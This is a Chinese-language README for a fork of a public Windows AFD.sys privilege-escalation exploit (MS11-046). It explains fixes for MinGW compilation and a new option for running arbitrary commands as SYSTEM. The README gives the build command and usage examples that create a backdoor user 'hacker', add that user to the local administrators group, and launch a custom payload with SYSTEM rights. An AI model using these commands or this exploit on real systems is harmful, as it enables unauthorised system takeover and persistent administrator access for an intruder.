CVE-2011-1249 / MS11-046 — 针对 Windows x86 的 AFD.sys 权限提升漏洞。
原始利用代码由 Tomislav Paskalev 提供(EDB-40564)。此分支修复了 MinGW 交叉编译错误,并通过 argv[1] 添加了自定义命令执行功能。
| # | 变更 | 原因 |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation → 带类型的函数指针(pZwQuerySystemInformation) | MinGW 严格类型检查拒绝调用带参数的零参数 FARPROC,编译会失败并报错 too many arguments to function |
| 2 | securityPatches[] 数组标记为 static | 在 if/else 块内声明的数组在栈上分配,作用域结束后指针会悬空;没有 static 则指针变为野指针 |
| 3 | 通过 argv[1] 自定义命令 | 以 SYSTEM 身份运行任意命令,替代硬编码的 cmd.exe |
使用 MinGW 编译原始代码会失败:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC 是一个泛型函数指针,声明时参数为零。MinGW 强制执行严格类型检查,不允许带参数调用。解决方案是使用具有正确签名的带类型函数指针。
预编译的二进制文件存在(例如 SecWiki/windows-kernel-exploits),但不支持自定义命令。
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # 默认:以 SYSTEM 身份启动 cmd.exe
ms11-046.exe "net user hacker Pass123! /add" # 以 SYSTEM 身份添加用户
ms11-046.exe "net localgroup administrators hacker /add" # 将用户加入本地管理员组
ms11-046.exe "c:\windows\temp\shell.exe" # 以 SYSTEM 身份运行自定义有效载荷